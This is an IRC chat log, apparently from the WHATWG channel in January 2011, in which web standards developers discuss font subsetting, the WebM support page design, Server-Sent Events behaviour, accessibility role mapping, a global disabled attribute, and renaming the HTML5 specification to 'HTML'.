hsivonen: Run it like "perl -CA subsetter.pl" or "./subsetter.pl", I think

[05:36:01.0000] <Philip`>
(not like "perl subsetter.pl")

[05:36:02.0000] <annevk>
so even if I do form { display:block; outline:4em solid purple } nothing should show up?

[05:36:03.0000] <annevk>
okay...

[05:36:04.0000] <Philip`>
(The -CA option is to make it parse command-line arguments as UTF-8, I think)

[05:37:00.0000] <zcorpan>
Ms2ger: what? why?

[05:38:00.0000] <Ms2ger>
I didn't recall correctly, apparently

[05:41:00.0000] <annevk>
thanks for the help btw

[05:41:01.0000] <hsivonen>
Philip`: thanks

[05:42:00.0000] <hsivonen>
Philip`: any idea why browsers are OK with fonts that I subset from .ttf original but are unhappy with loading subsets made by subsetting a .ttf converted from .otf using fontforge

[05:43:00.0000] <Philip`>
What kind of unhappy?

[05:43:01.0000] <hsivonen>
(I changed em box from 1000 to 1024, added points at extrema and rounded to integer coordinates)

[05:43:02.0000] <hsivonen>
Philip`: Firefox and Chrome don't load the font

[05:45:00.0000] <Philip`>
Hmm, I think Fontforge OTF->TTF conversion has worked for me in the past (without bothering to fix any of those warnings about em boxes or whatever), except for being ugly

[05:45:01.0000] <Philip`>
Can you load the un-subsetted TTF-from-OTF in those browsers?

[05:48:00.0000] <hsivonen>
Philip`: yes

[05:50:00.0000] <Philip`>
hsivonen: Hmm

[05:50:01.0000] <Philip`>
Sounds somewhat like a subsetter bug, then :-(

[05:53:00.0000] <hsivonen>
Philip`: font file is http://webm.html5.org/fonts/BaskervaldADFStd-Heavy.ttf and http://webm.html5.org/fonts/heading-characters.txt is the character file

[05:54:00.0000] <hsivonen>
Philip`: http://webm.html5.org/fonts/Baskervald.ttf is the output that doesn't work

[05:54:01.0000] <zcorpan>
"What’s"

[05:55:00.0000] <hsivonen>
maybe I should give up on Web fonts anyway. fonts look ugly on Windows anyway

[05:56:00.0000] <Philip`>
ttx says

[05:56:01.0000] <Philip`>
An exception occurred during the decompilation of the 'OS/2' table

[05:56:02.0000] <Philip`>
which doesn't sound good

[06:08:00.0000] <Philip`>
hsivonen: https://bitbucket.org/philip/font-optimizer/changeset/3ec118f146c7

[06:08:01.0000] <Philip`>
hsivonen: Does it work better with that patch?

[06:08:02.0000] <Philip`>
/me can't trivially test, but at least the output .ttf isn't blatantly invalid now

[06:09:00.0000] <hsivonen>
Philip`: Yes! Thank you!

[06:09:01.0000] <Philip`>
(I assume I never hit that problem myself because I was using older versions of Fontforge which didn't use the new table version)

[06:10:00.0000] <hsivonen>
in other news, I suck at choosing color schemes for Web pages

[06:11:00.0000] <Rik`>
hsivonen: you're not alone

[06:11:01.0000] <Philip`>
/me thinks the text shadows make it look blurry and painful to read

[06:13:00.0000] <hsivonen>
Philip`: better now?

[06:14:00.0000] <Philip`>
Thanks, yes (in my entirely non-expert opinion)

[06:15:00.0000] <annevk>
hsivonen, I think the your browser does/does not support should be at the top

[06:15:01.0000] <Philip`>
though why does the site benefit from using custom fonts rather than standard built-in ones?

[06:15:02.0000] <annevk>
hsivonen, ideally with a mark of approval/disapproval

[06:15:03.0000] <annevk>
Philip`, prettyness

[06:15:04.0000] <annevk>
hsivonen, as in "yay/nay" and then "why do I care"

[06:50:00.0000] <jwalden>
/me discovers the aforementioned logo

[06:50:01.0000] <jwalden>
egad

[06:50:02.0000] <annevk>
hsivonen, did you see my comments?

[06:51:00.0000] <hsivonen>
annevk: which comment where?

[06:52:00.0000] <hsivonen>
annevk: oh, in this log. OK. I can fix that after the telecon

[06:52:01.0000] <annevk>
k

[06:52:02.0000] <hsivonen>
there's a telecon in 3 minutes, right?

[06:52:03.0000] <annevk>
I think so

[06:52:04.0000] <Philip`>
/me thinks T-shirt proceeds that go to the Testing TF ought to be distributed to participants in proportion to the number of approved tests they have written

[06:52:05.0000] <annevk>
hsivonen, also, I think the browser recommendations can be simplified somewhat

[06:53:00.0000] <jgraham>
Philip`: That seems to encourage a non-helpful method of writing tests

[06:53:01.0000] <hsivonen>
the message that the testing effort is underfunded unless you buy t-shirts is sad

[06:53:02.0000] <annevk>
hsivonen, maybe simply "These browsers support WebM:" [large logo] [large logo] [large logo]

[06:53:03.0000] <jgraham>
Like looping over all unicode codepoints and calling each one a test

[06:53:04.0000] <annevk>
or "These browsers support WebM on Mac OS X:" if we want to keep that

[06:54:00.0000] <annevk>
no need to mention when they added support

[06:54:01.0000] <jgraham>
hsivonen: I'm not convinced about the heading font or the bg colour

[06:54:02.0000] <jgraham>
Also, I would lose the word "rival"

[06:54:03.0000] <hsivonen>
annevk: the point of saying when they added support is to convince the user of and old version that they really have an old version

[06:54:04.0000] <Philip`>
jgraham: We could restrict it to test cases that were written before the money got involved, to avoid perverse incentives

[06:54:05.0000] <hsivonen>
jgraham: the color totally sucks, I know

[06:55:00.0000] <annevk>
hsivonen, maybe we should deal with that specifically then

[06:55:01.0000] <Philip`>
though preferably wait until after the rest of the canvas tests get approved

[06:55:02.0000] <annevk>
hsivonen, it does not make much sense for people using Safari/IE

[06:55:03.0000] <hsivonen>
jgraham: also, feel free to suggest a font

[06:55:04.0000] <hsivonen>
annevk: I didn't do the [large logo] thing, because I didn't want to think about trademark policies

[06:56:00.0000] <annevk>
the other "pick a browser" sites get away with it right? hmm

[06:56:01.0000] <jgraham>
hsivonen: You could, um, hop on the HTML5 logo bandwagon and use the same fonts as http://www.w3.org/html/logo/ Although I don't really like the body text there

[06:56:02.0000] <jgraham>
Dunno about the licensing either

[06:56:03.0000] <jgraham>
One might hope W3C chose things under a RF license, but who knows

[06:57:00.0000] <annevk>
My main concern is that the UI is too complex

[07:15:00.0000] <erlehmann>
Is it Geolocation? Is it CSS3? No, its SuperHTML5!!

[07:17:00.0000] <miketaylr>
:D

[07:21:00.0000] <karlcow>
http://www.w3.org/html/logo/faq.html#how-licenced

[07:21:01.0000] <karlcow>
How is this work licensed?

[07:21:02.0000] <karlcow>
The logo, icons, and website are licensed under Creative Commons Attribution 3.0 Unported

[07:22:00.0000] <karlcow>
http://creativecommons.org/licenses/by/3.0/

[07:23:00.0000] <jgraham>
karlcow: So if you just copy the example code, you are breaking the license?

[07:24:00.0000] <karlcow>
jgraham: and? lawyers with black helicopters will come after you and put you in guatanamo?

[07:25:00.0000] <zcorpan>
maybe the fonts have their own licenses

[07:26:00.0000] <jgraham>
karlcow: Well I'm pretty sure that there are lobbyists that would describe copyright infringment as cultral terrorism. So, uh, maybe.

[07:26:01.0000] <Philip`>
Why attempt to require attribution?

[07:26:02.0000] <Philip`>
It's not like the link between HTML5 and W3C is particularly subtle and in need of promotion

[07:27:00.0000] <Philip`>
and it wastes the time of people who care about following licence terms accurately

[07:28:00.0000] <karlcow>
/me is trying to imagine Ian Jacobs with a black suit and black glasses… hmm no that would be Mike

[07:28:01.0000] <jgraham>
Not just attribution, but a link back to the license (or the complete text of the license)

[07:29:00.0000] <zcorpan>
adactio: indeed, the right term is just "HTML"

[07:30:00.0000] <adactio>
zcorpan: Yes, comrade.

[07:34:00.0000] <annevk>
adactio, I should have read your article completely

[07:34:01.0000] <annevk>
lol

[07:34:02.0000] <annevk>
<-- idiot

[07:35:00.0000] <jgraham>
adactio: So we think that W3C are subtly pushing the Open Standards === Communism line?

[07:36:00.0000] <jgraham>
/me remembers back in 2000 or so when Mozilla got a lot of "your artwork promotes Stalinism" flames

[07:49:00.0000] <hsivonen>
annevk: I reordered the WebM page

[07:49:01.0000] <hsivonen>
jgraham: struck "rival"

[07:52:00.0000] <hsivonen>
annevk: simplified the browser list for users who aren't already running one of the browsers listed

[07:53:00.0000] <hsivonen>
a non-crappy color scheme would be a most welcome contribution

[07:54:00.0000] <hsivonen>
maybe there should be a distinct box around the content

[07:54:01.0000] <hsivonen>
and a more proper test clip is still needed

[07:54:02.0000] <hsivonen>
jgraham: do you have suggestions on what to do about fonts

[07:55:00.0000] <jgraham>
hsivonen: Get a contribution from someone design minded who comes up with the non-crappy colour scheme

[07:55:01.0000] <jgraham>
You probably need to make a good video first though

[07:55:02.0000] <jgraham>
Since the video colours will need to work with the site colours

[07:56:00.0000] <hsivonen>
jgraham: I was thinking of making the video color depend on the site design

[07:56:01.0000] <hsivonen>
/me was unable to find any kind of WebM logo usage policy

[07:59:00.0000] <jgraham>
hsivonen: Well that would work too

[07:59:01.0000] <hsivonen>
annevk: AFAICT, the default Mozilla policy doesn't approve of making download links using the icon (as opposed to using a set of ready-made banners)

[08:00:00.0000] <hsivonen>
and I *really* don't want to make a jumble of browser banners

[08:14:00.0000] <hsivonen>
YSoD: http://media.opera.com/media/images/icon/opera_icon.svgz

[08:18:00.0000] <jgraham>
Hmm, works in Opera

[08:18:01.0000] <jgraham>
Presumably a problem with svgz served as image/svg+xml

[08:21:00.0000] <Lachy>
hsivonen, jgraham, there's no Content-Encoding header sent with that image. That would explain why Firefox gives a YSoD. But I can't explain Opera's behaviour.

[08:22:00.0000] <annevk>
hsivonen, thanks

[08:23:00.0000] <gsnedders>
Lachy: http://www.w3.org/TR/SVG/intro.html#MIMEType states the MIME type is image/svg+xml for SVG files, making no distrinction between gzip-compressed and non-gzip-compressed files (as is made below)

[08:23:01.0000] <hsivonen>
gsnedders: I believe that's one of the reasons why registering the type took so long

[08:25:00.0000] <annevk>
I hope they are not recommending file extensions over HTTP

[08:25:01.0000] <gsnedders>
hsivonen: It is indeed

[08:29:00.0000] <Lachy>
gsnedders, surely they don't mean gzipped files can be sent over HTTP without declaring as such in the headers?!

[08:29:01.0000] <gsnedders>
Lachy: That is the intention, I believe.

[08:29:02.0000] <Lachy>
WTF?

[08:30:00.0000] <Lachy>
I don't see where it states that in the spec though, nor where you're implying that from

[08:33:00.0000] <annevk>
hsivonen, could post on blog.whatwg.org asking for designer input on http://webm.html5.org/

[08:34:00.0000] <hsivonen>
annevk: I guess that's an option. gotta run now, though

[08:34:01.0000] <hsivonen>
(I got rid of the bg color, since I suck at choosing one)

[08:34:02.0000] <hsivonen>
got rid of @font-face, too

[08:35:00.0000] <mpilgrim>
ooh, webm is part of html5 now?

[08:37:00.0000] <annevk>
mpilgrim, you could read it as WebM for HTML5 video :)

[08:59:00.0000] <jwalden>
hsivonen: where are the OS/2 and BeOS suggestions?

[08:59:01.0000] <jwalden>
</troll>

[08:59:02.0000] <jwalden>
also: that's a pretty impressive bit of enumeration there

[09:00:00.0000] <jwalden>
"Apple’s policies effectively block other browser engines from the platform" fightin' words

[09:02:00.0000] <jwalden>
can't be sure just from source-reading, does that do anything special for non-mobile Safari right now, or is it just hitting the OS X generic fallback case?

[09:10:00.0000] <jwalden>
also suggest can i use webm dot com perhaps (riffing on caniuse.com)

[09:21:00.0000] <a-ja>
TabAtkins: ping (re css3-images / webkit implementation. suggest somewhere else to discuss?)

[09:25:00.0000] <TabAtkins>
a-ja: Either here, or in a private message.

[09:45:00.0000] <hsivonen>
jwalden: I believe what I wrote about iOS policies is accurate, but in the interest of the non-partisan design pinciple, I'll change it to the generic mobile thing

[09:45:01.0000] <hsivonen>
jwalden: OS/2, BeOS, Solaris, AIX, FreeBSD, etc. are pending contributions from some who knows the situation with those platforms properly

[09:46:00.0000] <hsivonen>
jwalden: Safari on OS X hit the generic Mac OS X case

[09:46:01.0000] <hsivonen>
*hits

[09:46:02.0000] <TabAtkins>
jwalden: I forget - did you have a question for me?

[09:47:00.0000] <hsivonen>
jwalden: once there's a QuickTime component, I'll point to it

[09:47:01.0000] <hsivonen>
same for IE9

[11:05:00.0000] <zcorpan>
hsivonen: you could conclude success when you get the 'playing' event

[11:25:00.0000] <Hixie>
hober: you have got to love plh's response to you about community support

[11:25:01.0000] <Hixie>
hober: "it was developed with community support! meaning, please support it, even though we didn't do any of its development in public"

[11:26:00.0000] <Hixie>
how can the "communication team" of the consortium that builds itself as "leading the web" be so utterly out of touch with the web

[11:26:01.0000] <Hixie>
it baffles my mind

[11:27:00.0000] <karlcow>
Hixie, you are living in your own world too.

[11:29:00.0000] <jwalden>
TabAtkins: aside from one offhand reference in css3-images that seemed to address an orthogonal point, I couldn't find anything that said whether gradients have intrinsic image ratios or not -- do they?  or is that not spec'd yet?

[11:38:00.0000] <zcorpan>
what's with the brokenness of SSE that http://html5doctor.com/methods-of-communication/ talks about?

[11:39:00.0000] <Rik`>
zcorpan: last time I checked, only Opera and WebKit had implemented it

[11:39:01.0000] <Rik`>
and it wasn't really working the same way

[11:39:02.0000] <zcorpan>
opera 11 should be spec compliant

[11:40:00.0000] <miketaylr>
hmm http://node.remysharp.com:8001/sse-client.html seems down

[11:40:01.0000] <zcorpan>
it sounds like the server is closing the connection and the browser reconnects, or something

[11:41:00.0000] <zcorpan>
where's annevk when you need him

[11:42:00.0000] <Hixie>
so apparently browsers don't implement a11y by mapping elements to roles and then roles to native aapis

[11:42:01.0000] <Hixie>
they just map elements to native aapis except if roles are present in which case they let the roles override the default mapping

[11:45:00.0000] <miketaylr>
zcorpan: yes, in this demo the server is closing connections http://googlecodesamples.com/html5/sse/sse.html

[11:45:01.0000] <miketaylr>
(linked from http://www.html5rocks.com/tutorials/eventsource/basics/)

[11:46:00.0000] <othermaciej>
Hixie: WebKit has a role concept internally

[11:47:00.0000] <othermaciej>
Hixie: some directly correspond to ARIA roles, others do not

[11:47:01.0000] <othermaciej>
in general, we assign a role to every element, whether or not it has a role attribute

[11:47:02.0000] <othermaciej>
this is because A11Y APIs expect their own concept of role as one of the pieces of data about a UI element

[11:47:03.0000] <othermaciej>
we map our internal ARIA-like roles to the respective A11Y API's role

[11:48:00.0000] <othermaciej>
Hixie: so at least as to WebKit, I don't think your description of how browsers do things is totally accurate

[11:51:00.0000] <annevk>
why did I not know

[11:51:01.0000] <annevk>
http://html5homi.es/

[11:54:00.0000] <zcorpan>
ah there he is

[11:54:01.0000] <karlcow>
annevk: yet another case of wwic ;)

[11:54:02.0000] <zcorpan>
annevk: see logs

[11:54:03.0000] <zcorpan>
annevk: do we have a bug or is it just that the server closes the connection?

[11:55:00.0000] <Hixie>
othermaciej: interesting

[11:55:01.0000] <Hixie>
othermaciej: does that mean webkit doesn't find steven's table helpful?

[11:55:02.0000] <annevk>
wwic?

[11:55:03.0000] <annevk>
/me goes to read logs

[11:56:00.0000] <Hixie>
othermaciej: specifically, see http://lists.w3.org/Archives/Public/public-html-a11y/2011Jan/0159.html

[11:56:01.0000] <Hixie>
annevk: for you, see http://lists.w3.org/Archives/Public/public-html-a11y/2011Jan/0173.html

[11:57:00.0000] <annevk>
zcorpan, the client should reconnect

[11:57:01.0000] <annevk>
zcorpan, unless the server specifically kills it with a 4xx response

[11:58:00.0000] <karlcow>
wwic - "Why Wasn't I Consulted?" http://www.ftrain.com/wwic.html

[11:58:01.0000] <annevk>
zcorpan, http://www.whatwg.org/specs/web-apps/current-work/complete/comms.html#processing-model-5

[11:58:02.0000] <othermaciej>
Hixie: in its current form where it is 90% ?, definitely not

[11:58:03.0000] <othermaciej>
interesting, the table is too wide to fit in my browser window but I don't get a scrollbar

[11:58:04.0000] <annevk>
zcorpan, oops, anything but 2xx kills the connection

[11:58:05.0000] <zcorpan>
annevk: rem says browsers are broken because it keeps reconnecting instead of keeping the connection open. but then what he's seeing is that the server is closing the connection and the browser is reconnecting

[11:59:00.0000] <Hixie>
othermaciej: well obviously the quality of the table leaves a lot to be desired, but i just meant in general

[11:59:01.0000] <annevk>
zcorpan, what is his script on the server?

[11:59:02.0000] <Hixie>
othermaciej: (btw, this table is part of what steven is proposaing in issue-129 to add to the spec, though you have to read his CP and proposed edits pretty carefully to realise that)

[12:00:00.0000] <othermaciej>
Hixie: well, to actually make use of it, we'd have to add a level of indirection, since we have a cross-platform concept of role that we use before mapping to the API's native role

[12:00:01.0000] <zcorpan>
annevk: article points to http://node.remysharp.com:8001/sse-client.html but that seems down from here

[12:01:00.0000] <annevk>
zcorpan, it very much sounds like he closes the connection indeed

[12:01:01.0000] <othermaciej>
Hixie: I'd have to ask our accessibility experts to determine whether it is useful in general

[12:01:02.0000] <Hixie>
othermaciej: k

[12:01:03.0000] <othermaciej>
Hixie: in cases where an element maps to an ARIA role in an obvious way, and the ARIA role's mapping to system APIs is defined, it's definitely not useful

[12:01:04.0000] <annevk>
zcorpan, but unfortunate that he did not check with us first, especially given that he found all impls "broken" -- i.e. likely indicator of a problem on his end

[12:01:05.0000] <annevk>
s/but/bit/

[12:02:00.0000] <othermaciej>
but there are some elements with AX behavior that can't be expressed purely in ARIA terms

[12:02:01.0000] <Hixie>
othermaciej: well the table in general just repeats what the HTML spec and the ARIAIMPL specs say, it's not original in any way as far as i'm aware

[12:03:00.0000] <othermaciej>
Hixie: if it said something for elements with no defined ARIA role, that might be useful

[12:03:01.0000] <annevk>
Hixie, he's certainly entitled to his opinion -- but Chaals and I are known to disagree every now and then :)

[12:03:02.0000] <Hixie>
othermaciej: fair enough

[12:08:00.0000] <heycam>
re the logos, I like the the Offline & Storage one has clouds as a background, even though it's basically the opposite of cloud storage

[12:08:01.0000] <heycam>
*that the

[12:08:02.0000] <heycam>
also Device Access seems like it's in a firestorm

[12:10:00.0000] <TabAtkins>
jwalden: gradients don't have an intrinsic aspect ratio.  I say they have "no intrinsic dimensions", and I'm counting aspect-ratio as a dimension.

[12:10:01.0000] <jwalden>
ah

[12:10:02.0000] <othermaciej>
Hixie: replied to the email

[12:11:00.0000] <jwalden>
TabAtkins: it would seem to me best to be very explicit about that, given that (as I recall) the SVG spec didn't talk about this stuff in quite the same way

[12:12:00.0000] <annevk>
submitted a comment to html5doctor zcorpan

[12:14:00.0000] <annevk>
and I fixed my obvious typo in a follow up comment awaiting moderation

[12:14:01.0000] <TabAtkins>
jwalden: Okay, I'll change the statement to be explicit.

[12:15:00.0000] <jwalden>
thanks muchly

[12:16:00.0000] <annevk>
TabAtkins, pm regarding CSS meeting

[12:17:00.0000] <zcorpan>
annevk: oh, i added a comment too. seems you beat me to it

[12:18:00.0000] <annevk>
hopefully people read the comments

[12:19:00.0000] <zcorpan>
annevk: you aware of a demo that keeps the connection alive?

[12:19:01.0000] <annevk>
not infinite

[12:20:00.0000] <annevk>
zcorpan, but e.g. http://tc.labs.opera.com/apis/EventSource/format-field-event.htm sends two events

[12:23:00.0000] <annevk>
I guess I could look into parsing of Content-Type tomorrow

[12:23:01.0000] <annevk>
well, I'd need some kind of server that is not Apache

[12:24:00.0000] <annevk>
I wonder if I still have that Python script which just allows you to write some bytes to a socket

[12:24:01.0000] <annevk>
I really dislike that Apache has no fine-tuned HTTP control

[12:25:00.0000] <zcorpan>
mod_asis isn't good enough?

[12:25:01.0000] <annevk>
maybe it is for Content-Type, but in general Apache still fiddles with things

[12:26:00.0000] <zcorpan>
i thought asis would escape all fiddling, though i haven't tested it myself

[12:26:01.0000] <annevk>
the Apache on DreamHost still outputs some crazy header to aid an old Netscape browser

[12:27:00.0000] <annevk>
zcorpan, no, you still get HTTP/1.1 and some Date stuff if I remember correctly

[12:27:01.0000] <zcorpan>
ah. boo

[12:28:00.0000] <zcorpan>
annevk: as it happens pywebsocket allows you to write out whatever bytes you want

[12:29:00.0000] <annevk>
"X-Pad: avoid browser bug"

[12:29:01.0000] <annevk>
is that header

[12:29:02.0000] <annevk>
crazy

[12:29:03.0000] <zcorpan>
lol

[12:30:00.0000] <annevk>
yeah, chrisk wrote a small Python script as well once that makes it really easy to serve raw bytes

[12:30:01.0000] <annevk>
and I still have it in my inbox :)

[12:31:00.0000] <annevk>
I should probably put that on bitbucket.org when I play with it again

[12:31:01.0000] <TabAtkins>
Yes please!

[12:40:00.0000] <annevk>
If anyone can find the commercial described here and upload it to YouTube or some such it would be much appreciated: http://tbar.vernon18.org/cgi-bin/yabb/YaBB.pl?board=General;action=display;num=1035662382

[12:40:01.0000] <annevk>
That thread is one of the only two references I can find via Google

[12:41:00.0000] <annevk>
I think I only saw it twice and it was long time ago, but I remember laughing a lot

[12:48:00.0000] <zcorpan>
annevk: try bing?

[12:50:00.0000] <annevk>
seems worse

[12:53:00.0000] <karlcow>
duck something

[12:54:00.0000] <karlcow>
http://duckduckgo.com/

[12:54:01.0000] <annevk>
maybe they have it in Hilversum somewhere

[12:54:02.0000] <annevk>
in the media archives

[12:54:03.0000] <annevk>
but it seems somewhat unlikely

[12:57:00.0000] <zcorpan>
hmm, haven't we discussed http://www.w3.org/Bugs/Public/show_bug.cgi?id=11794 before?

[12:58:00.0000] <Hixie>
probably

[12:58:01.0000] <Hixie>
what was our solution?

[13:00:00.0000] <zcorpan>
http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2010-August/027624.html

[13:01:00.0000] <annevk>
making hidden= bar validation makes sense though

[13:01:01.0000] <Hixie>
well there's no use case there... we have one now

[13:01:02.0000] <Hixie>
that changes matters :-)

[13:02:00.0000] <zcorpan>
Hixie: can you elaborate on the use case?

[13:02:01.0000] <Hixie>
a check box that hides or shows a bunch of controls that are required if shown

[13:02:02.0000] <zcorpan>
<fieldset disabled> is no good?

[13:03:00.0000] <Hixie>
it's in the context of a nested list, i believe

[13:03:01.0000] <Hixie>
so fieldset would be a bit awkward

[13:03:02.0000] <Hixie>
that was my first response too though

[13:03:03.0000] <Hixie>
(this was discussed in moznet #developers just now)

[13:04:00.0000] <zcorpan>
maybe disabled should be a global attribute

[13:04:01.0000] <TabAtkins>
Hm, that would be interesting.

[13:05:00.0000] <Hixie>
interesting idea

[13:05:01.0000] <Hixie>
bit radical!

[13:05:02.0000] <TabAtkins>
Radical?  Seems straightforward and simple.

[13:06:00.0000] <TabAtkins>
It works better than hidden, because then you can still do the "gray out disabled sections" thing.

[13:07:00.0000] <Hixie>
radical only in the sense that it would mean changes to :disabled, to constraint validation, to the form controls processing models, etc

[13:07:01.0000] <Hixie>
not that it's a bad idea

[13:07:02.0000] <TabAtkins>
Ah, kk.  Yeah, there's a lot of fiddly bits attached to it.  But it's a clean idea.

[13:08:00.0000] <Hixie>
probably won't be popular with bz

[13:08:01.0000] <Hixie>
he doesn't like moving functionality up to HTMLElement, on perf grounds

[13:09:00.0000] <annevk>
I think it matches IE

[13:09:01.0000] <Hixie>
matching IE perf is a non-goal :-P

[13:09:02.0000] <annevk>
I discovered and mentioned that back when I played with contenteditable

[13:09:03.0000] <Hixie>
oh?

[13:09:04.0000] <annevk>
heh

[13:10:00.0000] <annevk>
http://annevankesteren.nl/projects/whatwg/spec.html

[13:10:01.0000] <annevk>
"Web Applications 1.0 — contentEditable and disabled"

[13:10:02.0000] <annevk>
long time ago that was :)

[13:10:03.0000] <zcorpan>
it greys stuff in ie, but doesn't seem to prevent input in <input>

[13:10:04.0000] <annevk>
bbl

[13:11:00.0000] <Hixie>
did i know about this document?

[13:11:01.0000] <zcorpan>
but it disables submit buttons and form submission

[13:14:00.0000] <zcorpan>
disabled also disables contenteditable in ie

[13:14:01.0000] <zcorpan>
Hixie: you made him write it iirc :)

[14:13:00.0000] <asmodai>
lol @ http://i.imgur.com/6U9fU.jpg

[14:15:00.0000] <jacobolus>
asmodai: it's alive!

[14:15:01.0000] <asmodai>
Where? Who? What?

[14:16:00.0000] <jacobolus>
HTML5

[14:16:01.0000] <asmodai>
Yes it is. :)

[14:16:02.0000] <jacobolus>
I'm imagining him (her?) sitting with his pipe, looking condescendingly down at poor Flash

[14:16:03.0000] <asmodai>
"And what have you done for me lately?

[14:16:04.0000] <asmodai>
"

[14:17:00.0000] <zcorpan>
so where's teh flash version of the logo?

[14:25:00.0000] <Hixie>
oh hey, adactio's here

[14:25:01.0000] <adactio>
howdy

[14:25:02.0000] <Hixie>
just got your e-mail

[14:26:00.0000] <Hixie>
anyone object to changing the spec's name to just "HTML"?

[14:26:01.0000] <adactio>
Not I.

[14:26:02.0000] <adactio>
And I hereby apologise for freaking out about last time the change was made.

[14:26:03.0000] <adactio>
I was wrong.

[14:26:04.0000] <Hixie>
oh no worries

[14:27:00.0000] <Hixie>
i think you may have been right that delaying for a bit was ok

[14:27:01.0000] <Hixie>
it didn't cause any harm, anyway

[14:27:02.0000] <Hixie>
i'll mention it every few hours to get people from various time zones, but assuming nobody complains, i'll rename the spec tomorrow or so

[14:28:00.0000] <adactio>
Excellent.

[14:28:01.0000] <Hixie>
and then post a blog post or something

[14:28:02.0000] <TabAtkins>
I OBJECT, SIR.

[14:28:03.0000] <Hixie>
and then put this image into the spec in the "is this html5" section :-)

[14:29:00.0000] <Hixie>
TabAtkins: it's ok, you can still rename your spec the "HTML5 CSS3 Advanced Layout" spec :-P

[14:30:00.0000] <TabAtkins>
Oh, well that's all right then.

[14:30:01.0000] <TabAtkins>
/me is calling all of his specs that, actually.

[14:30:02.0000] <TabAtkins>
Flexbox is "HTML5 CSS3 Advanced Layout Chapter 1", Lists is "HTML5 CSS3 Advanced Layout Chapter 2", etc.

[14:31:00.0000] <Hixie>
heh

[14:32:00.0000] <Hixie>
not "HTML5 CSS3 Web 2.0 DHTML Advanced RESTful Layout"?

[14:32:01.0000] <Hixie>
oh oh and AJAX!

[14:32:02.0000] <TabAtkins>
REST is a fad, silly.

[14:32:03.0000] <Hixie>
i forgot AJAX!

[14:33:00.0000] <TabAtkins>
I should publish my "HTML5 CSS3 Advanced RDFa 2 (for Web 2.0)" spec.

[14:33:01.0000] <Hixie>
i recommend "HTML5 CSS3 Web 2.0 DHTML Advanced RESTful AJAX Layout Recommendation 1.0 Accessibility Guidelines Module"

[14:34:00.0000] <Hixie>
though you can probably drop the "Layout" part

[14:35:00.0000] <Rik`>
could you also please use a construction animated gif on the specs until they go to CR ? :)

[14:35:01.0000] <Hixie>
seems reasonable

[14:35:02.0000] <TabAtkins>
Yay!  We can stop talking about CSS2.1 testing at the telcons for a few weeks!

[14:35:03.0000] <Hixie>
you still attend the telecons?

[14:35:04.0000] <Hixie>
man

[14:36:00.0000] <TabAtkins>
Decisions are made there.  I have to ensure they're not bad decisions.

[14:36:01.0000] <crash\>
I think "WebM" is missing :)

[14:36:02.0000] <Hixie>
TabAtkins: dude the csswg is the wg where it is the easiest to revert decisions

[14:37:00.0000] <TabAtkins>
True, but still, better to not have to revert it at all.  Plus, I like talking things out.

[14:37:01.0000] <crash\>
you can replace DHTML with it, since it's a pretty outdated buzzword

[14:37:02.0000] <Hixie>
TabAtkins: oh i'm not saying you shouldn't attend them :-)

[14:37:03.0000] <Hixie>
TabAtkins: it took me a like five years to burn out from them

[14:39:00.0000] <TabAtkins>
I've only been in the group a little over a year, dude.

[14:41:00.0000] <Hixie>
yeah but i have high hopes for you! you're far better than i am, you should burn out much faster than me. ;-)

[14:41:01.0000] <TabAtkins>
That's, um.  Thanks?

[14:44:00.0000] <Hixie>
:-)

[14:45:00.0000] <Hixie>
i guess "burn out" is probably the wrong term

[14:45:01.0000] <Hixie>
"get disillusioned" maybe?

[14:45:02.0000] <Hixie>
i dunno

[14:45:03.0000] <Hixie>
i was young and naive, took me a while to get over that :-)

[14:46:00.0000] <Hixie>
hober: when do you start at apple btw?

[14:46:01.0000] <Hixie>
how is the latest editor's draft older than the latest public draft http://www.w3.org/2010/02/rdfa/drafts/#rdfa-core

[14:47:00.0000] <Hixie>
that makes no sense

[14:47:01.0000] <TabAtkins>
I guess they're using the generation date?

[14:48:00.0000] <TabAtkins>
Which should mean that the public and editor's draft are identical right now.

[14:49:00.0000] <Hixie>
i guess

[14:50:00.0000] <Hixie>
does that mean they're no longer maintaining it? or is it perfect...?

[14:52:00.0000] <TabAtkins>
It means it hasn't been touched for 3 months.

[14:53:00.0000] <Hixie>
oh i misread the date

[14:53:01.0000] <Hixie>
my bad

[14:53:02.0000] <Hixie>
i thought it was early last year

[14:57:00.0000] <Rik`>
TabAtkins: about image(), if I want to use webp today (cause it offers better compression) I'd like to do it without having an extra HTTP request

[14:58:00.0000] <Rik`>
cause with an extra HTTP request, it kinds of the defeat the purpose of using a lighter image format

[14:59:00.0000] <Rik`>
also, if the feature was already implemented, it would greatly simplify using SVG files on the web right now

[15:00:00.0000] <TabAtkins>
Rik`: I agree that dealing with the format stuff is a useful feature.  I don't know if it's worth complicating up the syntax that much.

[15:01:00.0000] <TabAtkins>
Like, you'll get "background-image: image( "foo.webp" "image/webp", "foo.svg" "image/svg+xml", blue );"

[15:01:01.0000] <TabAtkins>
Plus maybe that weird resolution-handling stuff.

[15:01:02.0000] <Rik`>
why image/webp and not only webp ?

[15:01:03.0000] <TabAtkins>
Argh, I don't like the resolution stuff either.  Again, useful functionality, but I don't think it fits in the image() function.

[15:02:00.0000] <TabAtkins>
I assumed it would be by mimetype?

[15:02:01.0000] <Rik`>
font-face doesn't use mimetype

[15:03:00.0000] <TabAtkins>
Yeah, it defines a small list of types.

[15:03:01.0000] <Rik`>
but I could live with mimetype

[15:03:02.0000] <TabAtkins>
Actually... going with that, and inverting the functionality (only download the resource is the type isn't specified, or if it is specified and it's something you think can render) might be more useful.

[15:04:00.0000] <TabAtkins>
That way new formats like webp automatically work as expected - they get ignored until they're supported.

[15:06:00.0000] <karlcow>
http://www.ietf.org/rfc/rfc2295.txt never implemented I think :/

[15:06:01.0000] <karlcow>
Transparent Content Negotiation in HTTP

[15:07:00.0000] <karlcow>
was proposing an Alternates:  header

[15:07:01.0000] <karlcow>
giving all the type of resources available


2011-01-19
[17:43:00.0000] <annevk>
+1 to HTML

[17:44:00.0000] <annevk>
I had a note for my blogpost anyway on how we already call it that

[17:44:01.0000] <annevk>
if we actually call it that it might make more sense :)

[17:51:00.0000] <Hixie>
hehe

[17:51:01.0000] <Hixie>
(reminder for those not reading backlog: i'm planning on doing s/HTML5/HTML/ on the http://whatwg.org/html spec tomorrow unless someone raises an issue on this.)

[17:51:02.0000] <Hixie>
(someone other than TabAtkins)

[18:13:00.0000] <annevk>
wait what

[18:13:01.0000] <annevk>
WAI-ARIA became CR?!

[18:13:02.0000] <annevk>
I would love to see the disposition of comments

[18:13:03.0000] <annevk>
sounds like SVG all over again

